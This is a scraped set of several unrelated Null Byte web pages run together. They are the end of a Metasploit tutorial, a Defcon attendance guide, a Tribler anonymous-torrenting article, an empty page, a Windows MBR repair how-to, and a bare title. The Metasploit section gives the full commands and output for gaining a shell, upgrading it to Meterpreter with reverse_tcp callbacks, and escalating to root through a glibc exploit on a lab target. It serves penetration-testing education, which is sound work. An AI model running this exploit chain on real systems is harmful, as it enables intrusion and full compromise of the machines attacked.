HitYif it asks you to background it.Background session 1? [y/N] y msf5 exploit(unix/misc/distcc_exec) >We are now dropped back to the main Metasploit prompt, and we can verify any sessions we have running in the background with thesessionscommand:msf5 exploit(unix/misc/distcc_exec) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)The easiest way to upgrade a regular shell to a Meterpreter session is to use the-uflag followed by the session number to upgrade:msf5 exploit(unix/misc/distcc_exec) > sessions -u 1 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1] [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.10.0.1:4433 [*] Sending stage (985320 bytes) to 10.10.0.50 [*] Meterpreter session 2 opened (10.10.0.1:4433 -> 10.10.0.50:32979) at 2019-06-19 11:47:52 -0500 [*] Command stager progress: 100.00% (773/773 bytes)We can see the post module that runs and a new session is opened. We can again verify this with thesessionscommand:msf5 exploit(unix/misc/distcc_exec) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50) 2 meterpreter x86/linux uid=1, gid=1, euid=1, egid=1 @ metasploitable.localdomain 10.10.0.1:4433 -> 10.10.0.50:32979 (10.10.0.50)And we can interact with our new Meterpreter session using the-iflag on the desired session:msf5 exploit(unix/misc/distcc_exec) > sessions -i 2 [*] Starting interaction with 2... meterpreter >Step 3: Run Exploit SuggesterMetasploit post modules work by running on a background session, not directly in the session itself, so background session 2 (our Meterpreter shell) and return to the main prompt. We can then load the local exploit suggester using the following command:msf5 exploit(unix/misc/distcc_exec) > use post/multi/recon/local_exploit_suggesterWhen we take a look at the options, we only need to specify the session we want to run this on:msf5 post(multi/recon/local_exploit_suggester) > options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploitsSimply set the session to number 2, which is our Meterpreter shell:msf5 post(multi/recon/local_exploit_suggester) > set session 2 session => 2And typerunto kick it off:msf5 post(multi/recon/local_exploit_suggester) > run [*] 10.10.0.50 - Collecting local exploits for x86/linux... [*] 10.10.0.50 - 26 exploit checks are being tried... [+] 10.10.0.50 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable. [+] 10.10.0.50 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable. [+] 10.10.0.50 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. [*] Post module execution completedWe can see the module checks a number of local exploits and returns a few that seem viable. Awesome.Step 4: Get RootThe final thing we need to do is use one of these exploits to get root on the system. We'll try the first one that was suggested to us. This exploit takes advantage of a vulnerability in the glibc dynamic linker, in which the LD_AUDIT environmental variable allows loading of a setuid object that ultimately runs with root privileges.msf5 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_escLooking at the options, we only need to set the session again — the default executable path will work for now:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. SUID_EXECUTABLE /bin/ping yes Path to a SUID executable Exploit target: Id Name -- ---- 0 AutomaticSet the session just like before:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 2 session => 2We can alsoset the payloadto give us another Meterpreter session when the exploit completes:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcpAnd set the appropriate listening host (the IP address of our local machine) and port:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lhost 10.10.0.1 lhost => 10.10.0.1 msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lport 4321 lport => 4321Finally, typerunto launch the exploit:msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run [*] Started reverse TCP handler on 10.10.0.1:4321 [+] The target appears to be vulnerable [*] Using target: Linux x86 [*] Writing '/tmp/.BlrZu4n' (1271 bytes) ... [*] Writing '/tmp/.18qZUt' (281 bytes) ... [*] Writing '/tmp/.DoiFwlxPt' (207 bytes) ... [*] Launching exploit... [*] Sending stage (985320 bytes) to 10.10.0.50 [*] Meterpreter session 3 opened (10.10.0.1:4321 -> 10.10.0.50:56950) at 2019-11-19 11:57:19 -0500 meterpreter >We now have a new Meterpreter session on the target, and we can drop into a shell to verify we have obtained root access:meterpreter > shell Process 4886 created. Channel 1 created. id uid=0(root) gid=0(root) groups=1(daemon) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxWrapping UpIn this tutorial, we learned how to use Metasploit to get a shell on the target, upgrade that shell to a Meterpreter session, and use the local exploit suggester module to ultimately get root on the system. Metasploit not only makes initial exploitation easy but the post-exploitation phase as well. Inthe next article, we will explore some useful post modules to quickly gather information about the target.Next Up:How to Quickly Gather Target Information with Metasploit Post ModulesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Find Exploits & Get Root with Linux Exploit SuggesterHow To:Identify Missing Windows Patches for Easier ExploitationHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Like a Pro:Getting Started with MetasploitHow To:Get Root Filesystem Access via Samba Symlink TraversalHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHow To:Quickly Gather Target Information with Metasploit Post ModulesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Create a Metasploit Exploit in Few MinutesHow To:Get Root Access on OS X Mavericks and YosemiteHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Hack Metasploitable 2 Including Privilege EscalationHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFReal Scenarios #2:The Creepy Teacher [Part 2]How To:Exploit Java Remote Method Invocation to Get RootSEToolkit:Metasploit's Best FriendHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)How To:Exploit EternalBlue on Windows Server with MetasploitHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Creating a (Almost) Fully Undetectable EXE Using Kali & GCCHow To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+Drive-By Hacking:How to Root a Windows Box by Walking Past It
How to Attend Defcon Without Looking Like a Noob or Spending a Fortune « Null Byte :: WonderHowTo
Defconis the largest hacker conference with something for everyone, whether it be the talks, parties, villages, or any of the hundreds of events. In this guide, we'll take a holistic view at everything that goes into attending the con for the first time, from securing your electronics and making the most of your time to the logistics of getting there and finding the right place to stay.Thousands of new people attend Defcon every year, and Defcon 25 was said to have 25,000 attendees, forcing it to expand to two venues. No single hotel is large enough to hold all the hackers that descend on Las Vegas every July/August.Not all of those people attending will be familiar with the security industry and culture. Sometimes they are sent by employers, some are reporters hoping to get the latest scoop, and a handful are just curious tourists and happen to be in Vegas at the time. Most, however, are fellow hackers and tech nerds just like you. This makes Defcon one of the best places for hackers to go and meet like-minded individuals.So for those who are unaware, the networks are hostile, and theWall of Sheepis real. The con is the combination of some of the most brilliant minds in the industry, some of the most annoying pranksters, and a few well-meaning drunks. With that in mind, I'm writing this article to help those new attendees or noobs have a fun and exciting experience.A Brief History of DefconIf you only know the name Defcon (sometimes stylized as DEF CON or DEFCON) with nothing but a vague notion that it's a hacker conference, then you should know that it was started in 1993 byDark Tangent(aka Jeff Moss). As he put it:[I]t was ... meant to be a party for member[s] of "Platinum Net", a Fido protocol based hacking network out of Canada. As the main U.S. hub, I was helping the Platinum Net organizer ... plan a closing party for all the member BBS systems and their users. He was going to shut down the network when his dad took a new job and had to move away. We [were] talking about where we might hold it, when all of a sudden, he left early and disappeared. I was just planning a party for a network that was shut down, except for my U.S. nodes. I decided what the hell, I'll invite the members of all the other networks my BBS (A Dark Tangent System) system was a part of including Cyber Crime International (CCI), Hit Net, Tired of Protection (ToP), and like 8 others I can't remember. Why not invite everyone on #hack? Good idea!—Dark TangentThe first Defcon was so successful, with the hundred hackers that went, that there's been a Defcon every year since.For a complete history of the con, I highly recommend watching the full documentary embedded below, which is nearly two-hours long and goes into much greater detail than I could ever possibly do in this article. There are some fantastic interviews by Dark Tangent and the other founders, which provide a rare behind-the-scenes context for how the con grew to be what it is today.My first time at Defcon, I was little more than a script kiddie who had watched this documentary and got excited about the con, yet some people mistook me for a veteran con-goer of several years. Plus, it's quite nice to know what people mean when they talk about Alexis Park. At the very least, download the documentary and watch it while you're traveling to the con. This way, you'll feel more a part of the culture, and people will take you more seriously without just writing you off as one of the thousands of noobs.Tips on a Successful Defcon TripSo you want to go to the con? Great! If you can spare the ~$750 and a few days during the summer (usually during the first half of August, sometimes with a few days at the end of July), then here are the steps you need to take to go!Step 1: Plan When to GoAt first glance, planning when to go may seem simple, however, counterintuitively, some considerations could change the exact dates for you. Defcon is always near the beginning of August and goes on for four days Thursday through Sunday. Check theDefcon websitefor details on upcoming events.Defcon 26 = Aug. 9–12, 2018Defcon 27 = Aug. 8–11, 2019Defcon 28 = July 30–Aug. 2, 2020Something that is not often mentioned is that many people cut out Thursday and Sunday for various reasons, ranging from not being able to get off work to travel times. Thursday is mostly a registration day, so it's okay to plan on visiting Defcon then. There are usually a handful of talks in the evening, either in various villages such asSkytalks, or one or two official Defcon talks.If you want to guarantee that you get a Defcon badge or to be one of the first ones to hold it, then you'll need to arrive sometime on Wednesday and lineup in the early a.m. hours of Thursday to be first in line. Also if you're into target shooting, plan on coming Wednesday to attend the unofficialDefcon shoot. On the other hand, if you have an employer with a few thousand to spare, you can try to convince them to send you toBlackhat, the corporate version of Defcon. It takes place in the week leading up to Defcon, Saturday through Thursday.A majority of people leave sometime during the day on Sunday to be back home for work on Monday, although there are some people that stay and leave on the earliest flights on Monday. If you do decide to leave on Sunday, you're not missing much. Most of the talks, parties, and villages go on during Friday and Saturday. On Sunday, it's mostly just wrap-up events with a handful of lectures and parties.If your schedule is flexible, I highly recommend adding a day or two onto either end of the trip to spend some time exploring Las Vegas. The price difference from taking a flight during the middle of the week can often be enough to pay for the extra day at a cheap hotel or Airbnb.TL;DR version:You can skip most of Thursday and Sunday if you want or need to. Otherwise, consider adding a day or two on either end of the trip.Step 2: Plan How to Get ThereThere are two primary ways to get to Defcon: drive or fly. If you live on the west coast, packing a bunch of hackers in a car and road-tripping to Las Vegas is a traditional hacker pilgrimage. However, driving may not be practical if you live on the east coast or outside the US, which means that a vast majority of attendees will be flying.If you are flying and not familiar with the general tips to flying cheap,Nomadic Matt has an excellent guide. Not all of those tips are super helpful for us, though. The biggest things for us to keep in mind is to fly in the off times as much as we can and book at the right time.Thankfully, in this day and age, services likeGoogle FlightsandHopperdo most of the hard work for us. With Google, in particular, you can even look at the prices as flexible dates or price graphs by clicking "Dates" or "Price Graph." The "Dates" tab is best if you want the cheapest flight and have a flexible schedule.Don't Miss:9 Tips for Booking Cheap Airline TicketsDomestic flight cost will look something like this.Don't forget to factor in the cost of your accommodations. Depending on where you end up staying, it could be cheaper to stay an extra day, or you can stay extra time for the same cost and get a little extra vacation.If you have your dates locked in, then useHopper. It will predict when is the best time to book the flight and can track it, giving you push notifications on your phone when it's time to buy. However, don't purchase it through Hopper. Go directly to the airline when it comes time to buy, and you'll save a few dollars off Hopper's commission.TL;DR version:If you and or your friends live within a two- to three-hour drive of Las Vegas, then drive, otherwise, fly and useGoogle Flightsif you can use flexible dates orHopperif your dates are locked in.Step 3: Find a Place to StayThe main advantage to staying at the hotel hosting Defcon, such as Caesars Palace or The Flamingo for Defcon 26, is the convenience of being centrally located. Don't underestimate how nice it is to be able to go back to your hotel room and drop stuff off or pick things up throughout the day and the ease of stumbling back to it when it's late and your brain isn't working at full capacity.However, all of this convenience comes with one major downside: the cost. Even with theDefcon room rates, it can easily be three times as much as staying at a cheaper hotel or Airbnb farther away.If you are on a budget, I highly recommend getting anAirbnba few miles away from the strip and Ubering to the con each day. It's the cheapest option if you're traveling solo to the con. Just remember to factor in thecost of the Uber. The nightly average Airbnb rate for Las Vegas is $191, but I have had luck consistently finding one for around $50 a night. Either way, you can save as much as $200–$300 just by doing Airbnb.TL;DR version:If you're going alone and your budget isn't an issue, stay at the hotel hosting the con, otherwise, get an Airbnb a few miles off the strip. If friends are also coming, cram as many as of them as comfortably possible into the hotel room and split the cost.Don't Miss:How an Airbnb Listing Scammed $3,700 Out of a Tech-Savvy UserStep 4: Take What You NeedNow that you know when you're going to be there, how you're going to get there, and where you're going to stay, it's time to plan what to take. If you're flying, try to pack light and travel carry-on only — it will make your life much more comfortable at the airport. If you need help with coming up with a general packing list, then use thePackPointapp for Android and iOS. Otherwise, let's look at some of the significant things you don't want to miss.ElectronicsThe first major decision to make is whether or not you're bringing electronics and, if so, which ones. As mentioned before, the networks and airwaves at Defcon are very hostile. If there'sa zero-dayfor a device, Defcon is one of the places it would be demonstrated.The safest thing to do is not bring any electronic devices at all. However, that can be hard sometimes because it's impossible to fall along with talks, do workshops, and access the Defcon app. If you have aburner phoneor an old laptop that you can wipe, this is the time and place to use them.If you do bring a laptop, it should never be out of your sight. Install a fresh OS with the latest updates and the bare essentials as far as programs go. Do this at home before you even get to Vegas — there are attacks that can look like firmware updates and they can be impossible to remove from the device after.When you get home after the con, do the same thing: a completely fresh install. You can protect your primary machine, but you have to account for the value of the data on it and understand the implications of what you are doing. If possible, use aself-encrypting hard drive/SSDor a software solution likeBitLockerandPGPDiskstore the keys in memory; This should deter most of the average pranksters.Defcon does provide a secure Wi-Fi network which should be OK for most people to use. Although, if you do go this route, be sure that you can positively ID the network and it's not some random hacker spoofing the network name. Just remember not to buy anything online, enter passwords, etc. while at Defcon regardless of the network. Also, always use a VPN. If you don't have one, buy one, and disable your 3G network to help deter sniffing.Don't Miss:How to Fully Anonymize Kali with Tor, Whonix & PIA VPNCashDefcon is a cash-only event, so at a minimum, you'll need $280 to get into the event itself. Additionally, assume that all the vendors inside only accept cash, so your best bet is to get enough money for the entire con out of the ATM before you land in Las Vegas. There are lots of rumors about ATMs in and around the con being unsafe, so if you do have to use one, either go several blocks away or visit a banking location and get it in person.WaterThe next major thing to remember is tobring water— you're in a desert, after all. If you're flying, remember you can take an empty water bottle through TSA, and then fill it up at a water bottle refilling station or water fountain inside the airport. It's especially important to drink plenty of water while flying tofight the effects of jet lag.Drinking water is also critical if, like many Defcon-goers, you plan on drinking (alcohol, duh). Water at the hotels can be quite expensive, so take a few bottled waters or a refillable water bottle. You want to maintain a 16:1 water-to-booze ratio. So remember, one bottle of water for every ounce of alcohol, and you can thank me in the morning.ClothingLas Vegas is extremely hot during the summer. It can go above 100ºF during the day and remain there even into the evening, so pick your clothing accordingly. Jeans and tee-shirts are relatively standard. And don't forget swimwear for all the pool parties!Badges are a vital part of the con culture. You get one badge from Defcon itself, but there are many more out there. Different villages will make there own, as well as individual indie developers. Besides being cool and useful, they are an easy way to communicate to those around you what groups you support or which villages you're interested in.So if you're intoBadge life, remember to be on the lookout for indie Defcon badges onKickstarterand other websites. They usually pop up a few months before the con. They can also be purchased for cash at various villages but the lines can get long, or they may sell out, so if you go this route, try to get there early Thursday and purchase them then.The Bender badge hacks other badges around it!Image by Kody/Null ByteOdds & EndsThere are a few other things you want to be sure to bring:A lightweight and comfortable bag for swag and gear.Snacks, as food can cost a lot on the strip.Something non-electronic for notes such as a notepad (vital if you're going to Skytalks).RFID blocking wallet.PGP fingerprints on business cards or something similar.Power stripsso you can plug a lot of stuff in.Battery pack for when you can't find an outlet.Step 5: What to Do at the ConThe first and foremost thing you'll do at Defcon is follow the 3-2-1 rule. If you're unfamiliar, that means three hours of sleep, two meals, and one shower every day. Everything else you do at the con is optional. With that as your core schedule, you can build upon it as you wish.While the talks are extremely valuable and exciting, I would discourage you from having them as your sole focus, because you'll miss some of the best parts of the con. All the talks will beonline later, so you don't have to worry about missing them. Do note, however, that Skytalks are not recorded, so you may wish to give them slightly higher priority if that's your sort of thing.There is one talk that I recommend every one of you go to though, and that is the Defcon 101 panel, which is usually on Thursday evening. It's a great place to go and learn about many facets of Defcon, as well as to meet other individuals that are new to the con. If you're brave enough, you can even be given a hacker name in front of hundreds of fellow hackers and tech nerds. If you're interested in seeing what's in store, the video below will give you a much better idea of the kinds of villages and contests at Defcon.With that information in mind, read the program, visit all the villages, and participate in some contests and events. Don't forget to enjoy the various entertainment and parties at night too. As much as Defcon is about learning, it's even more of a social gathering. It can be quite daunting with all the activities, so try to narrow in on what you find most enjoyable, perhaps a particular Village such associal engineeringorwireless hacking, and spend the majority of your time there.The Villages are like mini-cons unto themselves with talks, workshops, and contests of their own, so you can very easily pour all of your time into just going to one and doing nothing else at Defcon. If you insist on going to different talks and villages throughout the day, be careful not to waste too much of your time in "line con," the joking name for standing in long lines. Be sure to get to talks early to be near the beginning of the line, as some of the more popular discussions can fill up quite rapidly. Even being 20 minutes early for them, you can be so far back that you aren't allowed in the room because of fire codes.If at any point you're lost or need help for any reason, you can look for the Defcon "goons" in red shirts for help. They're there to help you with whatever you need. They're the security team, and their job is to make everyone feel safe and ultimately happy. Don't be deterred if they come off as gruff, though — they probably have been asked the same question 200 times and may be frustrated, but they are there to help you.Step 6: How to PartyLike I mentioned before, parties are perhaps the most significant draw of Defcon, and there's one every evening. In fact, multiples. Some parties are open to everyone as well as invitation-only ones. Several are hosted by Defcon itself and will be on the program, while others you'll have to hunt down yourself. You can always Google "Defcon parties" and find websites likeDefcon Partieswhich will help you find the lesser-known ones, but by far, the best way is to make new friends and socialize. If you're nervous about meeting new people, try doing this:Buy a six pack of beer and walk up to the first group you see, say, "anybody want a beer and let's hang out!" No kidding, you'll make new friends, some of the people that I've met in similar ways have been my friends now for 20 years. Oh, if that group sucks, and it does happen, there is, in fact, suck at DEFCON, just say bye, get 6 more beers and walk up to another group.—rfleason(Goon)Hopefully, now you have enough necessary information to make your journey to Defcon for the first time. I've had to gloss over a lot of details but the videos linked can help fill some of that in, so be sure to watch them. Go to the con, take yourself out of your comfort zone, meet some new people, and learn a lot of new stuff.Image by Kody/Null ByteThanks for reading! If you have any questions, you can ask them right here or on Twitter@The_Hoid. If you think we missed some vital information or have tips of your own, let us know!Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byLisa Brewster/Flickr; Screenshots by Hoid/Null ByteRelatedHow To:The 15 Most Popular Talks from DEFCON's Hacking ConferencesHow To:Remodel your kitchen without spending a fortuneHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)How To:Make Your Own Lattice for Your CraftsHow To:Protect a touchscreen device against rain (cheaply)How To:Create your own ring light for lighting and moreAHS Freak Show:DIY Blind Fortune Teller Makeup FX for HalloweenHow to Beat Uncharted:Drake's Fortune on PS3How To:Fold an origami fortune teller the easy wayNews:Unencrypted Air Traffic Communications Allow Hackers to Track & Possibly Redirect FlightsNews:Will Bilderberg meeting be 'occupied'?News:Cheapest days to have your weddingNews:Twist and Shout Balloon Convention with Mr. FudgeNews:Choosing a 3D Animation SchoolHow To:Get the 'Master Fortune Hunter' Trophy in Uncharted 3: Drake's DeceptionNews:Got $25k for this lens?News:Is your Shop Unique Enough to Make Money?News:Levitation ContestNews:short ninja saja fan animationAugmented (hyper)Reality:Domestic RobocopNews:Learn The APOLLO / SUN Line - Palmistry - MagnetismNews:KISSNews:The Soft Fur RatNews:0(3)-No MoreNews:Zombies and Demons Carved Out of 1,818.5 lb PumpkinNews:To All Aspring Game Developers In or Around Bedfordshire, UKNews:Laura Ashley 1950s style dressNews:THE FILM LAB - Attending Film FestivalsNews:Minecraft World's Minecon Wrap-UpSee Jane Pwn:A Primer for Internet SlangNews:Vibrant Color Photography Challenge: Smile! You Are Amazing!
Hack Like a Pro: How to Anonymously Torrent Files with Tribler « Null Byte :: WonderHowTo
Welcome back, my nascent hackers!One of the many reasons I write this blog is to help you keep the Internet free and open. Throughout human history, whenever a government or other powerful entity has wanted to subjugate a people or group, the first thing they do is isolate that group from others and control the flow of information to it. By enabling all of you in Null Byte land,youhave the power to keep the Internet free, open, and uncensored while making the world a safer place for everyone.One of the areas that governments and large corporations have been aggressively trying to limit is torrenting sites. As you probably already know, torrenting allows individuals anywhere in the world to share files without the need for a central server. Torrenting sites do not host the files, but simply serve as a "directories" for the connections to those files.In recent years, the U.S. government, at the behest of several large media companies, has been aggressively trying to shut down these torrent directories. Megaupload was probably the most famous, but Demonoid, Pirate Bay, and others have been forced to shut down or relocate beyond the reach of law enforcement. Megaupload was taken down in January 2012 and its founder arrested. One year later, it was relaunched asMEGAand the legal case against its founder is floundering.In addition, large media companies have employed "hired guns" to sniff out torrent traffic, identify the IP addresses of the uploaders, and attempt to pressure their ISPs to cut off their Internet access or pressure law enforcement to file charges against them.Although there may be some illegal activity taking place on these torrent sites, they also can be an excellent method of sharing files between individuals anywhere on planet earth. They can also be a method of sharing uncensored information when an authoritative regime is trying to limit communication.A New, Anonymous Way to Torrent FilesTwo Dutch researchers at Delft University have developed an anonymous way to share files without the need for torrenting directory sites like Megaupload and Pirate Bay. Building upon a Tor-like technology, they have built an application that combines both the functionality of the torrent directory sites with torrent applications like BitTorrent or uTorrent. It is calledTribler. Developed for Windows, Mac OS X, and Linux, you can download ithere.Tribler adds three layers of proxies between you and the seeder. This insures that if one proxy is compromised, of limited anonymity or placed there by an industry or government agency, the other two will still hide your traffic. The first proxy encrypts your traffic and each additional layer adds an additional level of encryption that only you can decrypt.Searching + TorrentingAs you can see in the screenshot below, I have downloaded and installed it on Windows 7 machine. Unlike BitTorrent and other torrenting applications, there is no need to download and install torrent files from a torrent directory. Tribler enables you to search and torrent in one application.StreamingFurthermore, Tribler allows you to stream the files to your computer that you find via the "Search" function at the top of the screen. You no longer have to wait for the whole file to download in order to watch it. Notice below that when I hover my mouse over the file, two orange buttons pop up, "Stream" and "Download." If I click on Stream, I can begin watching immediately, no need to wait.AnonymityYou can test the anonymity of Tribler by clicking on the "Downloads" tab on the left pane and Tribler will begin an automatic test of your anonymity showing you the proxy IDs and hops between you and the seeder of the file.This new app, Tribler, offers you the anonymity to share files across the Internet without interference by government spy agencies and corporate hired guns. Enjoy, my nascent hackers, as we continue to keep the Internet free, open, and uncensored!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10Hacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHow To:The Safest Way to Disable All Bloatware on Your Galaxy S9 or S9+Hack Like a Pro:How to Evade Detection Using ProxychainsHow To:The Safest Way to Disable All Bloatware on Your Galaxy S8 or S8+How To:Create clipped letterboxes in video using Premiere ProHow To:Surf the web anonymously using TOR and PrivoxyHow To:Change Resolution & Bit Rate in Filmic Pro for High-Quality Video Up to 4K at 100 MbpsNews:10 Great 99 Cent Apps You Need on Your Android Right NowHow To:The Definitive Guide to Using BitTorrent on Your Nexus 7 TabletHow To:ALL-in-ONE HACKING GUIDEiOS 8 GM Leaked:Here's How to Download iOS 8 on Your iPhone Right NowHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Text and email anonymouslyHow To:Hide your IP address to surf the web anonymouslyHow To:Browse the web anonymously using Privoxy and TorHow To:Unlock the Hidden Multi-Window Mode in Android 6.0 MarshmallowHow To:Cast Torrents, Magnet Links, Local Files, & Web Videos from Your Windows PCHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosUntraceable:How to Seed Torrents Anonymously Using I2PSnarkHow To:Automatically Organize Your Torrents with Batch ScriptingNews:Viva Africa! "Wavin Flag" - World Cup 2010How To:MIT's Guide To Picking Locks via Zine LibraryHow To:Securely & Anonymously Spend Money OnlineHow To:The Official Google+ Insider's Guide IndexNews:Anonymity Networks. Don't use one, use all of them!News:Indie and Mainstream Online Games Shut Down by LulzSecNews:Bump-TOP " The Ingenious 3D True DESK<<<TOP Experience "
Password Cracking « Null Byte :: WonderHowTo
No content found.
Windows 7 Won't Boot? Here's How To Fix Your Master Boot Record « Null Byte :: WonderHowTo
With a lot of Null Byters playing around with Linux because of its excessive use in the hacking world, some of you are bound to run into some trouble with the installation at some point or another. If you make a mistake, or you're intimidated by the wonky-looking installation screen, you may want to just stick with Windows. However, you may notice it can be hard to go back once you've crossed a certain point in the installation. Your Windows installation may be broken or unbootable.If you're one of the people whodidtry to use a dual-boot, you've probably found that the Windows startup repair tool isn't going to help you. There's always the super GRUB disc, but that's just more GNU/Linux! How can we get out of this?With the same-old utilities found on your Windows startup disc.RequirementsWindows 7 installation discA Windows installation with a damagedMBR, orMasterBootRecordStep1Insert the Installation Disc & Boot ItPut the installation medium into the disc tray.Reboot the computer.While booting, strikeF12to get into your boot menu.SelectCD/DVD/BD.Press any key to boot from the disc.Step2Run the ToolText inboldis a command prompt command:Select a language, a time, a currency, a keyboard or an input method, and then clickNext.ClickRepair your computer.Click the operating system that you want to repair, and then clickNext.In theSystem Recovery Optionsdialog box, clickCommand Prompt.TypeBootrec.exe, and then press [enter].Fix the boot record./FixMbrRepair the boot sectors of the hard drive disk./FixBootRestart your computer and watch it boot normally again.Follow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byfrezorerRelatedHow To:Hack Your PC into a Mac! How to Install OS X Mountain Lion on Any Intel-Based ComputerHow To:Use BOOT.INI in Windows XPHow To:Fix or Repair a Broken Spark Plug Wire and Boot on Lawn MowerHow To:Access the Boot Menu and BIOS in Windows 8How To:Restore Windows Master Boot Record on VistaHow To:Give Your GRand Unified Bootloader a Custom ThemeHow To:Remove a Windows Password with a Linux Live CDHow To:Bypass Windows and Linux PasswordsNews:MULTIBOOT CDNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchNews:Cannot find windows loader after Linux install?News:VARIOUS WINDOWS ISSUES RESOLVED BELOW...News:WINDOWS 7 (FIX TWEAK, REPAIR, CONJOIN SHELLS ETC...)How To:Recover a Windows Password with OphcrackNews:Virtualization Using KVMSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenHow To:Run Windows from Inside LinuxNews:Puss in Boots - New Trailer & PosterHow To:Install Linux to a Thumb DriveScrabble Bingo of the Day:FINNESKOSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsNews:Performance Hacks & Tweaks for LinuxHow To:Get the 'Third Tour' Achievement in Battlefield 3How To:Boot Windows 8 into Safe Mode
Hack Like a Pro: Using TFTP to Install Malicious Software on the Target « Null Byte :: WonderHowTo
